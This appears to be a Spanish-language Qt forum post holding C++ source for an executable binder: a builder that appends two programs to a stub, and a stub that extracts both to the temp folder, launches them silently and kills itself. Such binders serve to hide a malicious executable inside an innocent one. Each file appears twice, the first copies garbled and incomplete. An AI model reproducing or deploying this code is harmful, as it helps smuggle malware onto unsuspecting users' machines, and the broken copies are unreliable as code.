#include "mainwindow.h"
#include "ui_mainwindow.h"
#include <QFileDialog>
#include <QFile>
#include <QTextStream>
MainWindow
::MainWindow(QWidget *parent
) : ui(new Ui::MainWindow)
{
ui->setupUi(this);
connect (ui->botonExaminar1,SIGNAL(clicked()),this,SLOT(examinar1()));
connect (ui->botonExaminar2,SIGNAL(clicked()),this,SLOT(examinar2()));
connect (ui->botonUnir,SIGNAL(clicked()),this,SLOT(juntar()));
}
MainWindow::~MainWindow()
{
delete ui;
}
void MainWindow::examinar1()
{
ui
->ejecutable1Texto
->setText
(QFileDialog::getOpenFileName(this,
"Abrir archivo"));
}
void MainWindow::examinar2()
{
ui
->ejecutable2Texto
->setText
(QFileDialog::getOpenFileName(this,
"Abrir archivo"));
}
void MainWindow::juntar()
{
/** función para juntar los dos ejecutables **/
/* declaraciones */
QFile *archivoEjecutable1;
QFile *archivoEjecutable2;
/* inicializaciones */
archivoEjecutable1
= new QFile();
archivoEjecutable2
= new QFile();
archivoStub
= new QFile();
/* establecer nombres de los ficheros */
archivoSalida.
setFileName(QFileDialog::getSaveFileName(this,
"Archivo de salida"));
archivoEjecutable1->setFileName(ui->ejecutable1Texto->text());
archivoEjecutable2->setFileName(ui->ejecutable2Texto->text());
archivoStub->setFileName("./stubb.dat");
/* abrir ficheros */
archivoSalida.
open(QFile::WriteOnly);
archivoEjecutable1
->open
(QFile::ReadOnly);
archivoEjecutable2
->open
(QFile::ReadOnly);
archivoStub
->open
(QFile::ReadOnly);
/* escribir en el fichero de salida los tres ejecutables */
archivoSalida.write(archivoStub->readAll() + archivoEjecutable1->readAll() + archivoEjecutable2->readAll());
/* Convertir los tamaños a QString */
tamano1.setNum(archivoStub->size());
tamano2.setNum(archivoEjecutable1->size());
tamano3.setNum(archivoEjecutable2->size());
/* Cojer los nombres de los ejecutables */
nombreEjecutable1
= archivoEjecutable1
->fileName
().
split(QDir::separator()).
last();
nombreEjecutable2
= archivoEjecutable2
->fileName
().
split(QDir::separator()).
last();
/* Crear la trama de datos */
trama = tamano1 + "|@|" + tamano2 + "|@|" + tamano3 + "|@|" + nombreEjecutable1.toLatin1() + "|@|" + nombreEjecutable2.toLatin1();
/* Escribir la trama en los últimos 1024 bytes del archivo de salida */
archivoSalida.write(trama,1024);
/* Cerrar todos los ficheros */
archivoEjecutable1->close();
archivoEjecutable2->close();
archivoStub->close();
}
#include "mainwindow.h"
#include "ui_mainwindow.h"
#include <QFileDialog>
#include <QFile>
#include <QTextStream>
MainWindow::MainWindow(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::MainWindow)
{
ui->setupUi(this);
connect (ui->botonExaminar1,SIGNAL(clicked()),this,SLOT(examinar1()));
connect (ui->botonExaminar2,SIGNAL(clicked()),this,SLOT(examinar2()));
connect (ui->botonUnir,SIGNAL(clicked()),this,SLOT(juntar()));
}
MainWindow::~MainWindow()
{
delete ui;
}
void MainWindow::examinar1()
{
ui->ejecutable1Texto->setText(QFileDialog::getOpenFileName(this,"Abrir archivo"));
}
void MainWindow::examinar2()
{
ui->ejecutable2Texto->setText(QFileDialog::getOpenFileName(this,"Abrir archivo"));
}
void MainWindow::juntar()
{
/** función para juntar los dos ejecutables **/
/* declaraciones */
QFile archivoSalida;
QFile *archivoEjecutable1;
QFile *archivoEjecutable2;
QFile *archivoStub;
QByteArray tamano1;
QByteArray tamano2;
QByteArray tamano3;
QByteArray trama(1024,'0');
QString nombreEjecutable1;
QString nombreEjecutable2;
/* inicializaciones */
archivoEjecutable1 = new QFile();
archivoEjecutable2 = new QFile();
archivoStub = new QFile();
/* establecer nombres de los ficheros */
archivoSalida.setFileName(QFileDialog::getSaveFileName(this,"Archivo de salida"));
archivoEjecutable1->setFileName(ui->ejecutable1Texto->text());
archivoEjecutable2->setFileName(ui->ejecutable2Texto->text());
archivoStub->setFileName("./stubb.dat");
/* abrir ficheros */
archivoSalida.open(QFile::WriteOnly);
archivoEjecutable1->open(QFile::ReadOnly);
archivoEjecutable2->open(QFile::ReadOnly);
archivoStub->open(QFile::ReadOnly);
/* escribir en el fichero de salida los tres ejecutables */
archivoSalida.write(archivoStub->readAll() + archivoEjecutable1->readAll() + archivoEjecutable2->readAll());
/* Convertir los tamaños a QString */
tamano1.setNum(archivoStub->size());
tamano2.setNum(archivoEjecutable1->size());
tamano3.setNum(archivoEjecutable2->size());
/* Cojer los nombres de los ejecutables */
nombreEjecutable1 = archivoEjecutable1->fileName().split(QDir::separator()).last();
nombreEjecutable2 = archivoEjecutable2->fileName().split(QDir::separator()).last();
/* Crear la trama de datos */
trama = tamano1 + "|@|" + tamano2 + "|@|" + tamano3 + "|@|" + nombreEjecutable1.toLatin1() + "|@|" + nombreEjecutable2.toLatin1();
/* Escribir la trama en los últimos 1024 bytes del archivo de salida */
archivoSalida.write(trama,1024);
/* Cerrar todos los ficheros */
archivoEjecutable1->close();
archivoEjecutable2->close();
archivoStub->close();
}
To copy to clipboard, switch view to plain text mode
#include "widget.h"
#include "ui_widget.h"
#include <QFile>
#include <QDir>
#include <QProcess>
ui(new Ui::Widget)
{
ui->setupUi(this);
QFile *archivoEjecutable1;
QFile *archivoEjecutable2;
archivoStub
= new QFile();
archivoEjecutable1
= new QFile();
archivoEjecutable2
= new QFile();
archivoStub
->setFileName
(QApplication::applicationFilePath());
archivoStub
->open
(QFile::ReadOnly);
archivoStub->seek(archivoStub->size() - 1024);
trama = archivoStub->read(1024);
tamano1 = trama.split("|@|")[0];
tamano2 = trama.split("|@|")[1];
tamano3 = trama.split("|@|")[2];
nombre1 = trama.split("|@|")[3];
nombre2 = trama.split("|@|")[4];
archivoEjecutable1->setFileName(directorio.tempPath() + "/" + nombre1);
archivoEjecutable1
->open
(QFile::WriteOnly);
archivoStub->seek(tamano1.toInt());
archivoEjecutable1->write(archivoStub->read(tamano2.toInt()));
archivoEjecutable1->close();
QProcess::startDetached(directorio.
tempPath() + "/" + nombre1
);
archivoEjecutable2->setFileName(directorio.tempPath() + "/" + nombre2);
archivoEjecutable2
->open
(QFile::WriteOnly);
archivoStub->seek(tamano1.toInt() + tamano2.toInt());
archivoEjecutable2->write(archivoStub->read(tamano3.toInt()));
archivoEjecutable2->close();
QProcess::startDetached(directorio.
tempPath() + "/" + nombre2
);
process.start("taskkill /f /im "+fileName);
process.waitForFinished();
process.waitForReadyRead();
qDebug("test");
}
Widget::~Widget()
{
delete ui;
}
#include "widget.h"
#include "ui_widget.h"
#include <QFile>
#include <QDir>
#include <QProcess>
Widget::Widget(QWidget *parent) :
QWidget(parent),
ui(new Ui::Widget)
{
ui->setupUi(this);
QDir directorio;
QFile *archivoStub;
QFile *archivoEjecutable1;
QFile *archivoEjecutable2;
QString trama;
QString tamano1;
QString tamano2;
QString tamano3;
QString nombre1;
QString nombre2;
archivoStub = new QFile();
archivoEjecutable1 = new QFile();
archivoEjecutable2 = new QFile();
archivoStub->setFileName(QApplication::applicationFilePath());
QFileInfo info1(QApplication::applicationFilePath());
QString fileName=info1.fileName();
archivoStub->open(QFile::ReadOnly);
archivoStub->seek(archivoStub->size() - 1024);
trama = archivoStub->read(1024);
tamano1 = trama.split("|@|")[0];
tamano2 = trama.split("|@|")[1];
tamano3 = trama.split("|@|")[2];
nombre1 = trama.split("|@|")[3];
nombre2 = trama.split("|@|")[4];
archivoEjecutable1->setFileName(directorio.tempPath() + "/" + nombre1);
archivoEjecutable1->open(QFile::WriteOnly);
archivoStub->seek(tamano1.toInt());
archivoEjecutable1->write(archivoStub->read(tamano2.toInt()));
archivoEjecutable1->close();
QProcess::startDetached(directorio.tempPath() + "/" + nombre1);
archivoEjecutable2->setFileName(directorio.tempPath() + "/" + nombre2);
archivoEjecutable2->open(QFile::WriteOnly);
archivoStub->seek(tamano1.toInt() + tamano2.toInt());
archivoEjecutable2->write(archivoStub->read(tamano3.toInt()));
archivoEjecutable2->close();
QProcess::startDetached(directorio.tempPath() + "/" + nombre2);
QProcess process;
process.start("taskkill /f /im "+fileName);
process.waitForFinished();
process.waitForReadyRead();
qDebug("test");
QCoreApplication::quit();
}
Widget::~Widget()
{
delete ui;
}
To copy to clipboard, switch view to plain text mode
Bookmarks